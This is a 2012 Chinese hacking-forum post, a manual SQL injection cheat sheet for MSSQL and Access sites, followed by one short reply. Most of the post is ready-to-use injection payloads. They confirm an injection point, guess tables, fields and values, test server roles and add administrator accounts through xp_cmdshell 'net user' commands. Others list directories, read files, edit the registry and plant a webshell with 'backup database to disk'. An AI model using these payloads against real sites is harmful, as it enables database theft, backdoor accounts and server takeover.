找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2353|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 * t$ H. k' e& z: C  Y) c
1.判断是否有注入;and 1=1 ;and 1=2 . O- o# ]0 y9 G( |, R3 v  S4 T& ~
0 l$ y7 W9 y# Z7 y. ~
2.初步判断是否是mssql ;and user>0 4 q9 x' M7 L- ?. \$ m0 ?
" l* {( P, L7 Z+ T" V
3.注入参数是字符'and [查询条件] and ''=' 6 f" V4 O4 d$ ?' I+ k

. a( F3 {$ r( p4.搜索时没过滤参数的'and [查询条件] and '%25'=' + `5 K# t6 n! O1 S
% ?$ T* Z! A3 B4 H9 R* w  k1 H
5.判断数据库系统
( z0 @7 c0 ~3 f1 Y. g;and (select count(*) from sysobjects)>0 mssql ) I  E* Q0 H$ l
;and (select count(*) from msysobjects)>0 access
$ ?" [8 A4 [0 I. ~3 K- C& o* q8 V% C, G( ^$ G* D& j) `: x' f! k$ U
6.猜数据库 ;and (select Count(*) from [数据库名])>0
+ K" k) Q& `' T$ P' X# T- t& Z
6 R, y' M0 y5 x, v7 l$ b7.猜字段 ;and (select Count(字段名) from 数据库名)>0 " f# u3 H, `& i4 }9 h- Z  X) _6 Q2 k
" S7 y% m) ]$ @: a' Z6 N
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
7 h/ W+ H4 K9 r! _3 w  O' z: H/ d* z7 f% {. @# l
9.(1)猜字段的ascii值(access) , m0 K9 a% I+ z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 - [- @4 D9 l7 M

6 c2 i' c4 ^& Z8 R+ D3 x8 Z(2)猜字段的ascii值(mssql)   r# l* z/ P2 `( Z+ h
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
+ e; B4 t$ \: T# G; `- E. `' D9 K3 F% ?1 b8 G4 U2 `* c  s: o
10.测试权限结构(mssql)
$ R, e" }0 g& F% I" O2 ?;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- + j; A( z- r" s3 r# s
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ W! p- x" L7 P& X& s" e;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
: y9 |3 ?* F7 r) Y6 `;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, Q! ^" b8 q2 F1 w" l;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 z/ j1 k7 r: F- H" E- K; S5 }, m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) `0 q9 T- X5 s: @
;and 1=(select IS_MEMBER('db_owner'));-- / ^$ k$ s- Z; s% Z7 {

0 g/ F9 Z- i3 {* Q; E11.添加mssql和系统的帐户
4 c$ M" N$ I( I2 B4 |# B9 C0 F4 b. j;exec master.dbo.sp_addlogin username;--
3 I" T2 J- R/ w- D, F: ?& x* c: A8 Y, p! J( f, d; ?5 X
;exec master.dbo.sp_password null,username,password;--
* w. H3 b8 b4 M" G2 x; E
* r5 D6 s$ O7 l. M' ?- H* K;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. N3 [5 V! n; r$ W8 _# \1 b; y7 f/ x+ u: C4 n1 r. j9 E1 ~0 X; L3 X
;exec master.dbo.xp_cmdshell 'net user username password " N0 \8 I! M3 J/ J
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9 |0 j+ T' `, |' }$ r+ R
/ K! j4 T5 c& w7 |
;exec master.dbo.xp_cmdshell 'net user username password /add';--
2 ~, j4 p* H/ z) ]6 m# P3 i: l$ L, x0 E- `0 T9 [9 f4 y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
; Q9 e4 C$ B  F/ p3 R" U5 D+ @. W, d) K7 \4 ~3 I6 ^
12.(1)遍历目录
: k- q# S4 Y3 K, u8 K$ G
. Z: g! r% `3 B; H) Z# i+ e4 p;create table dirs(paths varchar(100), id int) 9 p) E! u4 N8 \. _& K5 [/ v" o# N
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: L) n9 K4 \$ d& t  l;and (select top 1 paths from dirs)>0
# H1 K8 q& Y& z) `- C;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / R& x/ c8 S: K. O% G+ L2 _

3 q7 w- ~- K; f- d0 O% U8 J(2)遍历目录 $ ~& z% k& i0 K# h
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & W# T6 y; J. u, m% K3 M" a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: [0 K# A! g, X9 h" W;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
7 T; U. C. l* Z- R* F;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
5 |+ J+ p% O& E3 X9 _;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 / M) y2 f7 ?# i, E; y
6 X/ P5 @7 F7 C, m  K9 m2 b9 s( x
13.mssql中的存储过程 ) X; G9 S& s) y$ \" W2 \

% g5 F- ^( b* Y! qxp_regenumvalues 注册表根键, 子键
4 r6 m5 a' A+ c' Z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
; Z* u: ^2 Q2 G* D7 i# `" O! l/ F. s5 i/ F- ?' o3 Q
xp_regread 根键,子键,键值名 - X/ H6 L$ R9 C; @3 Y& _8 t
;exec xp_regread
0 w' f( w6 C3 s& A8 H'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" o, m) p5 e8 Q: S5 _( T: i. c* }% ]% I# {5 y! z
xp_regwrite 根键,子键, 值名, 值类型, 值
* g, o8 R8 t+ Z% k3 t! u1 d" d" a值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' i& V4 X2 W7 u9 x5 @2 V;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 # u5 j1 ^2 f. W: i; y% o9 G

! S* n* N3 ]" i4 h; ]# \" [7 Gxp_regdeletevalue 根键,子键,值名 2 p- x( F1 z) u" ?

8 f0 y+ w+ r. w' Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
1 _; C( u& B( ~) m  m' j* T+ R! A: T' G. w; q$ _& L
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
  |2 q$ }% s" [; s; t! h, L( U, J7 }0 {& \5 r
14.mssql的backup创建webshell
8 A0 l  z& q( e# b/ b& V  |use model
& {( }/ F* ~8 n' E$ Ncreate table cmd(str image); + b+ }2 H" q' b4 f2 [; w
insert into cmd(str) values (''); 7 ?6 G: }6 d0 I  |
backup database model to disk='c:\l.asp'; 1 Q/ g3 i, J, a' Q1 B3 G
! S0 Q  j; r+ x+ }& p- o
15.mssql内置函数
9 B3 n: ]. P; m;and (select @@version)>0 获得Windows的版本号 , S' I" `" k! ?- e5 z0 V0 g" i
;and user_name()='dbo' 判断当前系统的连接用户是不是sa # H  ~+ A) C( Q. I5 a3 t* D1 [
;and (select user_name())>0 爆当前系统的连接用户
( K* e; d, Q; W% T. H0 L;and (select db_name())>0 得到当前连接的数据库
, ]2 f5 O$ W3 }( [2 g$ f- z6 M  E5 }/ n$ B
16.简洁的webshell
- i% [+ O: }* i2 i" [! }" M3 A( {" d
use model
' }9 ~% o; y7 C- a% o3 `" ]! `( f( L
create table cmd(str image); / W. u$ V4 X3 W& m6 @, [7 c
/ G) A& ?1 _6 s
insert into cmd(str) values (''); 5 W4 ~7 X; @* z  a4 p6 G; L4 f% d
  N+ K5 A6 u. b5 o
backup database model to disk='g:\wwwtest\l.asp'; & H3 q/ O/ |+ z8 A. e3 t+ O: M

5 N  s5 r( R* i) u& J4 i
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表